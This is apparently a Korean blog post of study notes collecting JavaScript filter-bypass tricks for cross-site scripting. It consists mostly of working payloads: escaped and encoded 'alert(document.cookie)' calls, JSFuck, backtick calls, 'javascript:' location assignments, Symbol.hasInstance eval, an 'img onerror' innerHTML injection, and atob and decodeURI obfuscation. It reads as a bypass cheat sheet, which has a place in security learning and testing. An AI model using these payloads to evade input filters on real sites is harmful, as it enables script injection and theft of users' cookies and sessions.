1.자바스크립트는 유니코드로 문자를 표현할수있다
var foo = "\u0063ookie"; // cookie
var bar = "cooki\x65"; // cookie
\u0061lert(document.cookie); // alert(document.cookie)
2. Computed member access 뭔지잘몰라 걍 EX)document["coo"+"kie"] == document["cookie"] == document.cookie
alert(document["\u0063ook" + "ie"]); // alert(document.cookie)
window['al\x65rt'](document["\u0063ook" + "ie"]); // alert(document.cookie)
3.alert우회하기 window['al'+'ert']는 alert와 같은기능을한다
4. 자바스크립트의 언어적 특성활용하기 : 자바스크립트는 [,],(,),+,! 6가지문자만 사용하여 모든동작을 수행할수있다
장점:간편하다단점:길어진다특수문자 필터링이없으면 적극이용하자
https://jsfuck.com 사이트를 통해서 번역하자
5.문자열 우회하기 : 큰따옴표나 작은따옴표가 필터링에 걸린다 `백틱문자와 $표현식을 사용하여 우회할수있다
EX) var foo = "Hello";
var bar = "World";
var baz = `${foo},${bar} ${1+1}.`; // "Hello,\nWorld 2."
6. RegExp 객체 사용하기
EX) var foo = /Hello World!/.source; // "Hello World!"
var bar = /test !/ + []; // "/test !/"
뭔질 잘모르겠다 그냥 /사이에 문자열넣고 .source를 뒤에넣으면 문자열을 우회할수있나보구나
+[]를 뒤에넣으면 문자열을 우회할수있나보구나
7. String.fromCharCode 함수 사용
var foo = String.fromCharCode(72, 101, 108, 108, 111); // "Hello" 함수에 유니코드값을 넣으면 문자로변형시켜서 이어주나보다
8. 기본 내장 함수나 객체의 문자를 사용하는 방법
var baz = history.toString()[8] // "H"
(history+[])[9] // "i"
대충 H가 알파벳8번째니 저함수를 사용하면 H를 출력할수있고 i도 똑같은느낌이다
9.10진수를 36진수로표현하면 영어소문자모두를 표현할수있다 : 예를들면 29234652라는 10진수값이있다 이걸 36진수로 표현하면 hello가 나온다!! 이걸 활용하여 문자열을 우회할수있다 신기방기이걸 알아낸사람은 천재다
EX) var foo = (29234652).toString(36); // "hello"
10.만약 함수를 사용해야하는데 소괄호가 필터링이되면 백틱`으로 대체가 가능하다
alert(1) == alert`1`;
11.javascript스키마를 이용한 location변경
location="javascript:alert\x28document.domain\x29;";
location.href="javascript:alert\u0028document.domain\u0029;";
location['href']="javascript:alert\050document.domain\051;";
12. hasInstance를 이용한 우회
"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];
13.document.body.innerHTML추가 이게뭐냐면 자바스크립트내에서 html코드를 추가하는것을 가능하게해준다
주의할점은 <script>태그는 보안상의 이유로 사용할수없게 해놔서 이벤트핸들러를 이용한다
document.body.innerHTML+="<img src="#" onerror=alert(1)>";
14. url디코딩으로 문자를 우회할수있다
EX) decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29')
=alert(document.cookie)
15 base64디코딩으로 문자열을 우회할수있다
EX) atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ') == alert(document.cookie)
16.Boolean[constructor](입력)(); 을사용하면 입력한값을 실행할수있다
17.소괄호 우회하는법
[URL+0][0][12]==(
[URL+0][0][13]==)
18.탭(%09)으로 우회하기
'보안 > XSS' 카테고리의 다른 글
CSP란? (0) | 2024.06.04 |
---|---|
XSS 우회하는 방법 모음 (0) | 2024.05.26 |
XSS공격 가능한 태그,속성 모음 (0) | 2024.05.26 |